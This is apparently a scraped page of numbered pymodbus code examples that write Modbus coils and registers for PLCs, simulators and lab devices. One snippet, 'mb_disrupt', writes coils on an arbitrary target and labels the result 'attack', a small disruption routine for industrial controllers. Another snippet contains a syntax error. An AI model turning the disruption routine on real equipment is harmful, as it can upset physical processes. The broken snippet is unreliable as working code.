Пример #1
0
    def post(self):
        query = self.reqparse.parse_args()
        client = ModbusClient(query['ip'], query['port'])
        client.connect()

        data = query['data']
        start_address = query['start_address']
        builder.reset()
        for vol in data:
            print(vol)
            builder.add_32bit_int(vol)
        parsed = builder.build()
        parsed = parsed[1::2]
        print(parsed)
        if query['type_prefix'] == ModbusTypePrefix.COIL.value:
            client.write_coils(start_address, parsed, skip_encode=True, unit=1)
        elif query['type_prefix'] == ModbusTypePrefix.HOLDING_REGISTER.value:
            client.write_registers(start_address,
                                   parsed,
                                   skip_encode=True,
                                   unit=1)

        client.close()

        return {'result': True}
Пример #2
0
def loop_process():
    # Main Process (template = flip-flop)
    err_count = 0
    registre_count = 10

    while True:
        sleep(1)
        try:
            client = ModbusTcpClient(modbus_server_ip, modbus_server_port)

            coils = client.read_coils(0, count=registre_count, unit=UNIT)
            coils = coils.bits[:registre_count]
            # flipping booleans from list coils
            coils = [not i for i in coils]
            client.write_coils(0, coils)

            registers = client.read_holding_registers(0,
                                                      count=registre_count,
                                                      unit=UNIT)
            registers = registers.registers[:registre_count]
            registers = [i + 1 for i in registers]
            client.write_registers(0, registers, unit=UNIT)

            updateGPIO(coils, registers)
        except Exception as err:
            print('[error] %s' % err)
            err_count += 1
            if err_count == 5:
                print('[error] 5 errors happened in the process ! exiting...')
                sys.exit(1)
Пример #3
0
def initdb():
    try:
        client = ModbusTcpClient(modbus_server_ip, modbus_server_port)
        # Coils table
        # 0 : eolienne status (manual)
        # 1 : eolienne status (wind speed control, should be between 15km/h and 90km/h)
        #                     (corresponding to 4m/s and 25m/s)
        # 25 : eolienne broken status
        #
        # Holding registers table
        # 0 : wind speed (m/s)
        # 1 : power production (kW)
        # 2-9 : not used
        # 10 : wind min speed (4m/s)
        # 11 : wind max (25 m/s)

        client.write_coils(0, [True, True], unit=UNIT)
        client.write_coils(25, [False], unit=UNIT)
        client.write_registers(0, [speed, 0], unit=UNIT)
        client.write_registers(10, [4, 25], unit=UNIT)
    except Exception as err:
        print '[error] Can\'t init the Modbus coils'
        print '[error] %s' % err
        print '[error] exiting...'
        sys.exit(1)
Пример #4
0
class Client:
    def __init__(self):
        self.client = None
        self.handle = None
        self.ip = '127.0.0.1'
        self.port = 502

    def setup(self, config):
        self.handle = config
        self.ip = config['ipv4']['value']
        self.port = config['port']['value']
        self.client = ModbusTcpClient(self.ip, self.port)

    def execute(self, fc, addr, length=1, values=None):
        result = None
        if fc == 1:
            temp = self.client.read_coils(addr, length)
            result = []
            for i in range(temp.byte_count):
                t2 = temp.bits[i * 16:(i + 1) * 16]
                result.append(''.join([str(int(x)) for x in t2]))
        elif fc == 2:
            temp = self.client.read_discrete_inputs(addr, length)
            result = []
            for i in range(temp.byte_count):
                t2 = temp.bits[i * 16:(i + 1) * 16]
                result.append(''.join([str(int(x)) for x in t2]))
        elif fc == 3:
            temp = self.client.read_holding_registers(addr, length).registers
            result = ['{0:016b}'.format(x) for x in temp]
        elif fc == 4:
            temp = self.client.read_input_registers(addr, length).registers
            result = ['{0:016b}'.format(x) for x in temp]
        elif fc == 5:
            if values:
                self.client.write_coil(addr, values[0])
        elif fc == 6:
            if values:
                self.client.write_register(addr, values[0])
        elif fc == 15:
            if values:
                self.client.write_coils(addr, values)
        elif fc == 16:
            if values:
                self.client.write_registers(addr, values)
        return result

    def update_config(self, conf):
        self.ip = conf['ipv4']['value']
        self.port = conf['port']['value']
        self.client = ModbusTcpClient(self.ip, self.port)
        self.handle = conf

    def connect(self):
        return self.client.connect()
Пример #5
0
def turn_states(host, port=MODBUS_PORT, state=False, uid=None):
    client = ModbusTcpClient(host, port)
    try:
        if uid is not None:
            client.write_coil(uid, state)
            result = client.read_coils(uid, 1)
            print('{:3d} : {}'.format(uid, _status(result.bits[0])))
        else:
            values = [state for _ in range(MAX_COILS_COUNT)]
            client.write_coils(0, values)
            result = client.read_coils(0, MAX_COILS_COUNT)
            for i in range(len(result.bits)):
                print('{:3d} : {}'.format(i, _status(result.bits[i])))
    finally:
        client.close()
Пример #6
0
 def write_multiple_coils(self, command):
     parser = argument_parser()
     command = 'write_multiple_coils ' + command
     spec = parser.parse_args(command.split())
     response = _ModbusClient.write_coils(
         self, spec.address, list(map(int, spec.values)), unit=spec.unit_id)
     return response
Пример #7
0
def write_coils():
    form = ReusableForm(request.form)

    print form.errors
    if request.method == 'POST':
        ip = request.form['ip']
        port = request.form['port']
        address = request.form['address']
        value = request.form['value']
        unitId = request.form['unitId']
        print ip, " ", port, " ", address

        host = ip
        port = int(port)
        client = ModbusTcpClient(host, port)
        client.connect()

        rr = client.write_coils(int(address), int(value), unit=int(unitId))
        assert (rr.function_code < 0x80)  # test that we are not an error

        if form.validate():
            flash("Success")
        else:
            flash('Error')

    return render_template('write-coils.html', form=form)
Пример #8
0
def run_sync_client():
    # ------------------------------------------------------------------------#
    # choose the client you want
    # ------------------------------------------------------------------------#
    # make sure to start an implementation to hit against. For this
    # you can use an existing device, the reference implementation in the tools
    # directory, or start a pymodbus server.
    #
    # If you use the UDP or TCP clients, you can override the framer being used
    # to use a custom implementation (say RTU over TCP). By default they use
    # the socket framer::
    #
    #    client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer)
    #
    # It should be noted that you can supply an ipv4 or an ipv6 host address
    # for both the UDP and TCP clients.
    #
    # There are also other options that can be set on the client that controls
    # how transactions are performed. The current ones are:
    #
    # * retries - Specify how many retries to allow per transaction (default=3)
    # * retry_on_empty - Is an empty response a retry (default = False)
    # * source_address - Specifies the TCP source address to bind to
    # * strict - Applicable only for Modbus RTU clients.
    #            Adheres to modbus protocol for timing restrictions
    #            (default = True).
    #            Setting this to False would disable the inter char timeout
    #            restriction (t1.5) for Modbus RTU
    #
    #
    # Here is an example of using these options::
    #
    #    client = ModbusClient('localhost', retries=3, retry_on_empty=True)
    # ------------------------------------------------------------------------#
    client = ModbusClient('localhost', port=502)
    # from pymodbus.transaction import ModbusRtuFramer
    # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer)
    # client = ModbusClient(method='binary', port='/dev/ptyp0', timeout=1)
    # client = ModbusClient(method='ascii', port='/dev/ptyp0', timeout=1)
    # client = ModbusClient(method='rtu', port='/dev/ptyp0', timeout=1,
    #                       baudrate=9600)
    client.connect()

    # ------------------------------------------------------------------------#
    # specify slave to query
    # ------------------------------------------------------------------------#
    # The slave to query is specified in an optional parameter for each
    # individual request. This can be done by specifying the `unit` parameter
    # which defaults to `0x00`
    # ----------------------------------------------------------------------- #
    log.debug("Reading Coils")
    data = [False,False,False,False,False,False,False,False,False,False,False,False,False,False,False,True]
    rq = client.write_coils(int("0x00000", 0), data, unit=0x00)
    client.close()
Пример #9
0
def run_sync_client():
    client = ModbusClient('localhost', port=5020)
    client.connect()

    for i in range(5):
        log.debug("Reading Coils")
        client.read_coils(1, 1 + i, unit=UNIT)
        # first param - address: The starting address to read from
        # second param - count: The number of coils to read
        time.sleep(0.1)
        # 100ms przerwy między Reading Coils
        log.debug("Reading Coils")
        client.read_coils(2, 3 + i, unit=UNIT)
        time.sleep(0.1)

        log.debug("Write to a Coil")
        client.write_coils(1, 4, unit=UNIT)
        time.sleep(5)
        # 5s przerwy między write coils
        log.debug("Write to a Coil")
        client.write_coil(4, 3, unit=UNIT)
        time.sleep(5)

    # log.debug("Read discrete inputs")
    # client.read_discrete_inputs(0, 8, unit=UNIT)
    # # first param - The starting address to read from
    # # second param - The number of discretes to read
    #
    # log.debug("Write to a holding register and read back")
    # client.write_register(1, 10, unit=UNIT)
    # # first param - The starting address to write to
    # # second param - The value to write to the specified address
    #
    # log.debug("Read back")
    # client.read_holding_registers(1, 1, unit=UNIT)
    # # first param - The starting address to read from
    # # second param - The number of registers to read

    client.close()
Пример #10
0
def mb_disrupt(target):
    client = ModbusTcpClient(target, timeout=time_out)
    try:
        attack = client.write_coils(0x0000, [1, 1, 1])
        status = str(attack)
    except ConnectionException:
        status = "Error: No connection to target"
    except (ModbusIOException, ParameterException, ModbusException,
            InvalidMessageReceivedException, MessageRegisterException,
            NoSuchSlaveException, NotImplementedException):
        status = "Error:" + str(sys.exc_info()[0])
        pass
    client.close()
    return status
Пример #11
0
def writeMBcoils(clientIP, coil, valuelist):
    from pymodbus.client.sync import ModbusTcpClient, ConnectionException

    client = ModbusTcpClient(clientIP)
    try:
        rawresult = client.write_coils(coil, valuelist)
    except ConnectionException:
        # print('we were unable to connect to the host')
        statuscode = 7
    else:
        if 'exception_code' in rawresult.__dict__:
            statuscode = rawresult.exception_code
            values = []
        else:
            statuscode = 0
            values = valuelist

    client.close()
    result = {'message': messagefrommbstatuscode(statuscode), 'statuscode': statuscode, 'values': values}
    return result
Пример #12
0
def writeMBcoils(clientIP, coil, valuelist):
    from pymodbus.client.sync import ModbusTcpClient, ConnectionException

    client = ModbusTcpClient(clientIP)
    try:
        rawresult = client.write_coils(coil, valuelist)
    except ConnectionException:
        # print('we were unable to connect to the host')
        statuscode = 7
    else:
        if 'exception_code' in rawresult.__dict__:
            statuscode = rawresult.exception_code
            values = []
        else:
            statuscode = 0
            values = valuelist

    client.close()
    result = {
        'message': messagefrommbstatuscode(statuscode),
        'statuscode': statuscode,
        'values': values
    }
    return result
Пример #13
0
def run_sync_client():
    # ------------------------------------------------------------------------# 
    # choose the client you want
    # ------------------------------------------------------------------------# 
    # make sure to start an implementation to hit against. For this
    # you can use an existing device, the reference implementation in the tools
    # directory, or start a pymodbus server.
    #
    # If you use the UDP or TCP clients, you can override the framer being used
    # to use a custom implementation (say RTU over TCP). By default they use
    # the socket framer::
    #
    #    client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer)
    #
    # It should be noted that you can supply an ipv4 or an ipv6 host address
    # for both the UDP and TCP clients.
    #
    # There are also other options that can be set on the client that controls
    # how transactions are performed. The current ones are:
    #
    # * retries - Specify how many retries to allow per transaction (default=3)
    # * retry_on_empty - Is an empty response a retry (default = False)
    # * source_address - Specifies the TCP source address to bind to
    #
    # Here is an example of using these options::
    #
    #    client = ModbusClient('localhost', retries=3, retry_on_empty=True)
    # ------------------------------------------------------------------------# 
    client = ModbusClient('localhost', port=5020)
    # client = ModbusClient(method='ascii', port='/dev/pts/2', timeout=1)
    # client = ModbusClient(method='rtu', port='/dev/ttyp0', timeout=1)
    client.connect()
    
    # ------------------------------------------------------------------------# 
    # specify slave to query
    # ------------------------------------------------------------------------# 
    # The slave to query is specified in an optional parameter for each
    # individual request. This can be done by specifying the `unit` parameter
    # which defaults to `0x00`
    # ----------------------------------------------------------------------- #
    log.debug("Reading Coils")
    rr = client.read_coils(1, 1, unit=0x01)
    print(rr)
    
    # ----------------------------------------------------------------------- #
    # example requests
    # ----------------------------------------------------------------------- #
    # simply call the methods that you would like to use. An example session
    # is displayed below along with some assert checks. Note that some modbus
    # implementations differentiate holding/input discrete/coils and as such
    # you will not be able to write to these, therefore the starting values
    # are not known to these tests. Furthermore, some use the same memory
    # blocks for the two sets, so a change to one is a change to the other.
    # Keep both of these cases in mind when testing as the following will
    # _only_ pass with the supplied async modbus server (script supplied).
    # ----------------------------------------------------------------------- #
    log.debug("Write to a Coil and read back")
    rq = client.write_coil(0, True, unit=UNIT)
    rr = client.read_coils(0, 1, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rr.bits[0] == True)          # test the expected value
    
    log.debug("Write to multiple coils and read back- test 1")
    rq = client.write_coils(1, [True]*8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    rr = client.read_coils(1, 21, unit=UNIT)
    assert(rr.function_code < 0x80)     # test that we are not an error
    resp = [True]*21
    
    # If the returned output quantity is not a multiple of eight,
    # the remaining bits in the final data byte will be padded with zeros
    # (toward the high order end of the byte).
    
    resp.extend([False]*3)
    assert(rr.bits == resp)         # test the expected value
    
    log.debug("Write to multiple coils and read back - test 2")
    rq = client.write_coils(1, [False]*8, unit=UNIT)
    rr = client.read_coils(1, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rr.bits == [False]*8)         # test the expected value
    
    log.debug("Read discrete inputs")
    rr = client.read_discrete_inputs(0, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    
    log.debug("Write to a holding register and read back")
    rq = client.write_register(1, 10, unit=UNIT)
    rr = client.read_holding_registers(1, 1, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rr.registers[0] == 10)       # test the expected value
    
    log.debug("Write to multiple holding registers and read back")
    rq = client.write_registers(1, [10]*8, unit=UNIT)
    rr = client.read_holding_registers(1, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rr.registers == [10]*8)      # test the expected value
    
    log.debug("Read input registers")
    rr = client.read_input_registers(1, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    
    arguments = {
        'read_address':    1,
        'read_count':      8,
        'write_address':   1,
        'write_registers': [20]*8,
    }
    log.debug("Read write registeres simulataneously")
    rq = client.readwrite_registers(unit=UNIT, **arguments)
    rr = client.read_holding_registers(1, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rq.registers == [20]*8)      # test the expected value
    assert(rr.registers == [20]*8)      # test the expected value
    
    # ----------------------------------------------------------------------- #
    # close the client
    # ----------------------------------------------------------------------- #
    client.close()
#if error: Exception Response(129, 1, IllegalFunction)
#   01 05 00 01 FF 00 DD FA
#   01 85 01 83 50
'''
#-- FC15: Write multi-coils ( 0xxxx ) for DO
# write_coils(start_addr, value_array, unit=sid)
print('-- write multi DO --')
command = []
# for i in range(10):
#     if(i % 2 == 0):
#         command.append(1)
#     else:
#         command.append(1)
#     print(bool(command[i]))
for i in range(8):
    if(i == ):
        command.append(1)
    else:
        command.append(0)
    print(bool(command[i]))
#rq = client.write_coils(0, [True]*3, unit=1)
rq = client.write_coils(0, command, unit=1)
#rq = client.write_coils(0, [True,False,True], unit=1)
#rq = client.write_coils(0, [False]*8, unit=1)
#rq = client.write_coils(0, [True]*8, unit=1)
print(rq)
#rr = client.read_coils(0, 8, unit=1)
#print rr, "DO value=", rr.bits

#client.close()
Пример #15
0
                clientTCP.close()
                times()
            else:
                a = 0

        elif function_code == '0f':
            clientTCP = ModbusTcpClient(AddrTCP)
            connection = clientTCP.connect()
            #print(clientTCP.timeout)
            if connection == True:
                times()
                print(
                    '--------------------------------------------------FC15----------------------------------------------------------'
                )
                vetor = [0x000A, 0x0102]
                Response = clientTCP.write_coils(0x0013, vetor, unit=0x11)
                resp = reversePacket('FC15', Response)
                print('')
                print(
                    '*********************************************************'
                )
                print('Resultado comparado com Modbus RTU:')
                print(PacketCompare('FC15', sglobal, resp))
                print('')
                print('Resposta do Modbus TCP:')
                print(Response)
                print('')
                print('Valor do Modbus TCP: ' + str(resp))
                print(
                    '*********************************************************'
                )
Пример #16
0
from time import sleep

from pymodbus.client.sync import ModbusTcpClient

inputState = [False] * 32
outputState = [False] * 32

clientDI_1 = ModbusTcpClient('192.168.82.77')
clientDO_1 = ModbusTcpClient('192.168.82.76')

clientDO_1.write_coils(1, inputState)

while not sleep(0.05):
    try:
        result = clientDI_1.read_discrete_inputs(1, 32)
        activeButtonsIndexes = [i for i, x in enumerate(result.bits) if x]
        for index in activeButtonsIndexes:
            if inputState[index] != result.bits[index]:
                print(f"Button pressed {index}")
                outputState[index] = not outputState[index]
        inputState = result.bits
        clientDO_1.write_coils(1, outputState)
        clientDI_1.close()
        clientDO_1.close()
    except:
        print("error, resetting")
Пример #17
0
class adam6000():

    def __init__(self, log, host):
        self.Version = 1.0
        self.Description = "Setup SocketConnection to adam module"
        self.logger = log
        self.host = host
        self.client = None

    def connect(self):
        self.client = ModbusClient(self.host)
        stat = self.client is not None
        return stat, stat

    def PulsePort(self, pulsescnt, portnum, pulsetime_low, pulsetime_high):
        stat = False
        if pulsescnt == 0:
            return True
        try:
            for _ in range(pulsescnt):
                self.SetOutputbit(portnum, 1)
                time.sleep(pulsetime_high / 1000)
                stat = self.SetOutputbit(portnum, 0)
                time.sleep(pulsetime_low / 1000)
                stat = True
        except Exception as e:
            print(e)
        finally:
            return stat

    def SetOutputbit(self, num, stat):
        stat = self.client.write_coil(16 + int(num), stat)
        return stat 

    def ClearCounter(self, num):
        adr = 33, 37, 41, 45, 49, 53, 57, 61, 65
        try:
            self.client.write_coils(adr[num], 1)
        except:
            return False
        if self.readcounter(num) == 0:
            return True
        else:
            return False

    def readcounter(self, num):
        try:
            rr = self.client.read_input_registers(0, 18)
            # not using highbyte in this setup
            # idxlow = num*2
            # highbyte = rr.registers[idxlow+1] 
            cnt = rr.registers[num * 2]
        except Exception as e:
            print(e)
            self.logger.error("No connection to ADAM on ip: " + str(self.host))
            cnt = -1
        return cnt

    def readinputbit(self, num):
        stat = self.client.read_coils(0, 8).bits[num]
        return stat

    def readmodulename(self):
        stat = False
        try:
            sendstr ='$01M\r'
            self.client.send(sendstr.encode())
            rawresult = self.client.receive()
            res = rawresult[4:4]
            stat = True
            return (stat, res)
        except:
            self.logger.error("No connection to ADAM on ip: " + str(self.host))
        return (False, '')

    def close(self):
        self.client.close()
Пример #18
0
class PLC():
	timeSpan=0
	connected=False
	prev_res=0
	def __init__(self, ip):
		#ip should be 10.3.0.2
		self.client = ModbusTcpClient(ip)
		self.connected = self.client.connect()
		self.clearFlags()
		#self.setDefaultPurgingTime()
	def changeIP(self, ip):
		if self.connected:
			self.client.close()
			print("Modbus TCP connection closed")
		self.client = ModbusTcpClient(ip)
		self.connected = self.client.connect()
		if self.connected:
			self.clearFlags()
		return self.connected

	def clearFlags(self):
		if self.connected:
			self.client.write_coils(GLOVE_PRESENT_ADDR, (0,0,0,0,0,0,0,0,0)) #Clear all flags
			self.client.write_register(FURS_ON_TIME,5)#half second


	def waitNextGloveFlicker(self):
		if self.connected:
			for i in range(50):
				result = self.client.read_discrete_inputs(GLOVE_PRESENT_ADDR,1)
				if(self.prev_res==0 and result.bits[0]>0): #Check for rising edge
					self.prev_res=result.registers[0]
					return 1
				self.prev_res=result.registers[0]
				time.sleep(0.02)
			print("Production Line Stopped")
			return 0
		print("No PLC Connection")
		time.sleep(0.5)
		#Do not wait next glove if no connection, return -1
		return -1

	def waitNextGlove(self):
		if self.connected:
			for i in range(500):
				if not self.connected:
					break
				try:
					result = self.client.read_discrete_inputs(GLOVE_PRESENT_ADDR,1)
					if result.bits[0]:
						self.client.write_coil(GLOVE_PRESENT_ADDR, False)
						time.sleep(0.03) ##Displacement delay
						return 1
					time.sleep(0.002)
				except:
					print("Changing PLC IP Address")
			print("Production Line Stopped")
			return 0
		time.sleep(1)
		print("No PLC Connection")
		#Do not wait next glove if no connection, return 0
		return -1
	def readSensors(self):
		if self.connected:
			try:
				result = self.client.read_discrete_inputs(GLOVE_PRESENT_ADDR,4)
				for side, bit in enumerate(result.bits):
					if bit:
						self.client.write_coil(GLOVE_PRESENT_ADDR+side, False)
				return result.bits
			except:
				print("Changing PLC IP Address")
		print("No PLC Connection")
		#Do not wait next glove if no connection, return 0
		return -1

	def purgeGlove32(self, line):
		if self.connected:
			#activate purger by setting M1, will be cleared by PLC
			self.client.write_register(PURGER_ADDR+line, 1)
			time.sleep(0.5)
			self.client.write_register(PURGER_ADDR+line, 0)

	def purgeGlove(self, line):
		if self.connected:
			#activate purger by setting M1, will be cleared by PLC
			self.client.write_coil(PURGER_ADDR+line, True)

	def setPurgeDelay_100ms(self,line,val):
		if self.connected:
			self.client.write_register(PURGE_DELAY_ADDR+line,val)

	def setPurgeDuration_100ms(self,line,val):
		if self.connected:
			self.client.write_register(PURGING_DURATION_ADDR+line,val)

	def setPurgeInterval_100ms(self,line,val):
		if self.connected:
			self.client.write_register(PURGE_INTERVAL_ADDR+line,val)

	def setDefaultPurgingTime(self):
		if self.connected:
			for i in range(4):
				self.setPurgeDuration_100ms(i,8)
				self.setPurgeInterval_100ms(i,3)

	def isFormerAnchor(self):
		return self.readNClearFlag(FORMER_ANCHOR_ADDR) #Former Anchor Flag M11

	def readRasmAnchor(self,side):
		return self.readNClearFlag(RASM_ANCHOR_ADDR+side) #RASM Anchor Flag M4~M7

	def readNClearFlag(self, addr):
		if self.connected:
			try:
				result = self.client.read_discrete_inputs(addr,1)
				if result.bits[0]:
					self.client.write_coil(addr, False)
					return 1	#read and cleared
				else:
					return 0	#no flag
			except AttributeError:
				print("Anchor Checking no reading because lost PLC connection")
				return -1
		else:
			return -1	#no connection

	def setDualBinFlap(self,side,val):
		if self.connected:
			if val:
				self.client.write_coil(DUAL_BIN_FLAP_ON+side, True)
			else:
				self.client.write_coil(DUAL_BIN_FLAP_OFF+side, True)

	def setFlipDuration_100ms(self,val):
		if self.connected:
			self.client.write_register(FLIP_DURATION_ADDR,val)

	def activateFurs(self,side):
		if self.connected:
			self.client.write_coil(FURS_ADDR+side, True)


	def close(self):
		self.client.close()
		print("Modbus TCP connection closed")
Пример #19
0
            Voltage_AI_6 = AI_6 * 3.3 / 1024
            Voltage_AI_7 = AI_7 * 3.3 / 1024
            Voltage_AI_8 = AI_8 * 3.3 / 1024
            DI_1 = GPIO.input(11)  #Read Input Pin 11 as a Digital In
            DI_2 = GPIO.input(13)  #Read Input Pin 13 as a Digital In
            DI_3 = GPIO.input(29)  #Read Input Pin 29 as a Digital In
            DI_4 = GPIO.input(31)  #Read Input Pin 31 as a Digital In
            hour = time.localtime().tm_hour
            minute = time.localtime().tm_min
            seconds = time.localtime().tm_sec
            system_time = hour * 10000 + minute * 100 + seconds
            file = open("/sys/class/thermal/thermal_zone0/temp")
            system_temp = float(file.read()) / 1000
            file.close()
            pmu.send_data(phasors=[(AI_1, 0), (AI_2, 0), (AI_3, 0), (AI_4, 0)],
                          analog=[AI_1, AI_2, AI_3, system_time, system_temp],
                          digital=[DI_1, DI_2, DI_3, DI_4])

            rr = client.read_input_registers(0, 8, unit=1)
            rq = client.write_registers(
                0, [AI_1, 1, AI_3, AI_4, AI_5, AI_6, AI_7, AI_8], unit=1)
            assert (rq.function_code < 0x80)  #if FC>0x80 --> Error
            rr = client.read_holding_registers(0, 8, unit=1)

            rr = client.read_discrete_inputs(0, 4, unit=1)
            rq = client.write_coils(0, [1, DI_2, DI_3, DI_4], unit=1)
            rr = client.read_coils(0, 4, unit=1)

    client.close()
    pmu.join()
Пример #20
0
#---------------------------------------------------------------------------# 
# simply call the methods that you would like to use. An example session
# is displayed below along with some assert checks. Note that some modbus
# implementations differentiate holding/input discrete/coils and as such
# you will not be able to write to these, therefore the starting values
# are not known to these tests. Furthermore, some use the same memory
# blocks for the two sets, so a change to one is a change to the other.
# Keep both of these cases in mind when testing as the following will
# _only_ pass with the supplied async modbus server (script supplied).
#---------------------------------------------------------------------------# 
rq = client.write_coil(1, True)
rr = client.read_coils(1,1)
assert(rq.function_code < 0x80)     # test that we are not an error
assert(rr.bits[0] == True)          # test the expected value

rq = client.write_coils(1, [True]*8)
rr = client.read_coils(1,8)
assert(rq.function_code < 0x80)     # test that we are not an error
assert(rr.bits == [True]*8)         # test the expected value

rq = client.write_coils(1, [False]*8)
rr = client.read_discrete_inputs(1,8)
assert(rq.function_code < 0x80)     # test that we are not an error
assert(rr.bits == [True]*8)         # test the expected value

rq = client.write_register(1, 10)
rr = client.read_holding_registers(1,1)
assert(rq.function_code < 0x80)     # test that we are not an error
assert(rr.registers[0] == 10)       # test the expected value

rq = client.write_registers(1, [10]*8)
Пример #21
0
class ModbusPLC:    
    '''
        Proses penyambungan PLC menggunakan ModbusTCP, pengguna hanya perlu menyediakan 
        alamat IP serta port dimana PLC berjalan dalam menginstansi class.
        
        Contoh:
        plc = plc('192.168.100.1')
        atau
        plc = plc('192.168.100.1', 502)
    '''
    
    def __init__(self, ip_address, port=502):
        '''
            Menginisialisasi pengaturan koneksi PLC.
            
            Argumen
                ip_address
                port
        '''        
        self.client = ModbusClient(ip_address, port=port)        
    
    def try_connect(self):
        '''
            Mencoba koneksi ke PLC.
            
            Return: boolean
        '''
        if self.client.connect()==False:        
            print('Connection invalid. Please try again.')            
            return(False)
        else:
            print('Successfully connect to PLC.')
            return(True)
            
    def read_coil(self, addr, quan, slave_id=0x00):
        '''
            Membaca memori coil pada protokol Modbus PLC.
            
            Argumen
                addr: alamat coil mula(hex atau int)
                quan: jumlah coil yang dibaca
                slave_id: default 0x00 untuk broadcast
            
            Return: sebuah list sepanjang kelipatan delapan
        '''
        try:
            self.client.connect()
            rr = self.client.read_coils(addr, quan, unit=slave_id)
            self.client.close()
            return(rr.bits)            
        except Exception as e:
            print('An error occured while trying to read coils: %s' %str(e))
            return(None)
    
    def write_coil(self, addr, val, slave_id=0x00):
        '''
            Menulis memori coil pada protokol Modbus PLC.
            
            Argumen
                addr: alamat coil mula(hex atau int)
                val: nilai yang dituliskan
                     (untuk menuliskan satu nilai, cukup int atau bool)
                     (untuk menuliskan banyak nilai, gunakan list int atau list bool)
                slave_id: default 0x00 untuk broadcast
                        
        '''        
        try:
            self.client.connect()
            if type(val)==bool:
                rr = self.client.write_coil(addr, val, unit=slave_id)   
                print('Coil', str(addr), 'written successfully!')
            else:
                rr = self.client.write_coils(addr, val, unit=slave_id)
                print('Coils written successfully!')
            self.client.close()
        except Exception as e:
            print('An error occured while trying to write coils: %s' %str(e))            
        
    def read_register(self, addr, quan, slave_id=0x00):
        '''
            Membaca memori register pada protokol Modbus PLC.
            
            Argumen
                addr: alamat register mula(hex atau int)
                quan: jumlah register yang dibaca
                slave_id: default 0x00 untuk broadcast
            
            Return: sebuah list sepanjang jumlah nilai yang diminta
        '''
        try:
            self.client.connect()
            rr = self.client.read_holding_registers(addr, quan, unit=slave_id)
            return(rr.registers)
            self.client.close()
        except Exception as e:
            print('An error occured while trying to read registers: %s' %str(e))
            return(None)
        
    def write_register(self, addr, val, slave_id=0x00):
        '''
            Menulis memori register pada protokol Modbus PLC.
            
            Argumen
                addr: alamat register mula(hex atau int)
                val: nilai yang dituliskan
                     (untuk menuliskan satu nilai, cukup int)
                     (untuk menuliskan banyak nilai, gunakan list int)
                slave_id: default 0x00 untuk broadcast
        '''   
        try:
            self.client.connect()
            if type(val)==list:
                rr = self.client.write_registers(addr, val, unit=slave_id)
                print('Registers written successfully!')
            else:
                rr = self.client.write_register(addr, val, unit=slave_id)
                print('Registers written successfully!')
            self.client.close()
        except Exception as e:
            print('An error occured while trying to write registers: %s' %str(e))            
Пример #22
0
def run_sync_client():
    # ------------------------------------------------------------------------#
    # choose the client you want
    # ------------------------------------------------------------------------#
    # make sure to start an implementation to hit against. For this
    # you can use an existing device, the reference implementation in the tools
    # directory, or start a pymodbus server.
    #
    # If you use the UDP or TCP clients, you can override the framer being used
    # to use a custom implementation (say RTU over TCP). By default they use
    # the socket framer::
    #
    #    client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer)
    #
    # It should be noted that you can supply an ipv4 or an ipv6 host address
    # for both the UDP and TCP clients.
    #
    # There are also other options that can be set on the client that controls
    # how transactions are performed. The current ones are:
    #
    # * retries - Specify how many retries to allow per transaction (default=3)
    # * retry_on_empty - Is an empty response a retry (default = False)
    # * source_address - Specifies the TCP source address to bind to
    # * strict - Applicable only for Modbus RTU clients.
    #            Adheres to modbus protocol for timing restrictions
    #            (default = True).
    #            Setting this to False would disable the inter char timeout
    #            restriction (t1.5) for Modbus RTU
    #
    #
    # Here is an example of using these options::
    #
    #    client = ModbusClient('localhost', retries=3, retry_on_empty=True)
    # ------------------------------------------------------------------------#
    client = ModbusClient('localhost', port=5020)
    # from pymodbus.transaction import ModbusRtuFramer
    # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer)
    # client = ModbusClient(method='binary', port='/dev/ptyp0', timeout=1)
    # client = ModbusClient(method='ascii', port='/dev/ptyp0', timeout=1)
    # client = ModbusClient(method='rtu', port='/dev/ptyp0', timeout=1,
    #                       baudrate=9600)
    client.connect()

    # ------------------------------------------------------------------------#
    # specify slave to query
    # ------------------------------------------------------------------------#
    # The slave to query is specified in an optional parameter for each
    # individual request. This can be done by specifying the `unit` parameter
    # which defaults to `0x00`
    # ----------------------------------------------------------------------- #
    log.debug("Reading Coils")
    rr = client.read_coils(1, 1, unit=UNIT)
    log.debug(rr)


    # ----------------------------------------------------------------------- #
    # example requests
    # ----------------------------------------------------------------------- #
    # simply call the methods that you would like to use. An example session
    # is displayed below along with some assert checks. Note that some modbus
    # implementations differentiate holding/input discrete/coils and as such
    # you will not be able to write to these, therefore the starting values
    # are not known to these tests. Furthermore, some use the same memory
    # blocks for the two sets, so a change to one is a change to the other.
    # Keep both of these cases in mind when testing as the following will
    # _only_ pass with the supplied asynchronous modbus server (script supplied).
    # ----------------------------------------------------------------------- #
    log.debug("Write to a Coil and read back")
    rq = client.write_coil(0, True, unit=UNIT)
    rr = client.read_coils(0, 1, unit=UNIT)
    assert(not rq.isError())     # test that we are not an error
    assert(rr.bits[0] == True)          # test the expected value

    log.debug("Write to multiple coils and read back- test 1")
    rq = client.write_coils(1, [True]*8, unit=UNIT)
    assert(not rq.isError())     # test that we are not an error
    rr = client.read_coils(1, 21, unit=UNIT)
    assert(not rr.isError())     # test that we are not an error
    resp = [True]*21

    # If the returned output quantity is not a multiple of eight,
    # the remaining bits in the final data byte will be padded with zeros
    # (toward the high order end of the byte).

    resp.extend([False]*3)
    assert(rr.bits == resp)         # test the expected value

    log.debug("Write to multiple coils and read back - test 2")
    rq = client.write_coils(1, [False]*8, unit=UNIT)
    rr = client.read_coils(1, 8, unit=UNIT)
    assert(not rq.isError())     # test that we are not an error
    assert(rr.bits == [False]*8)         # test the expected value

    log.debug("Read discrete inputs")
    rr = client.read_discrete_inputs(0, 8, unit=UNIT)
    assert(not rq.isError())     # test that we are not an error

    log.debug("Write to a holding register and read back")
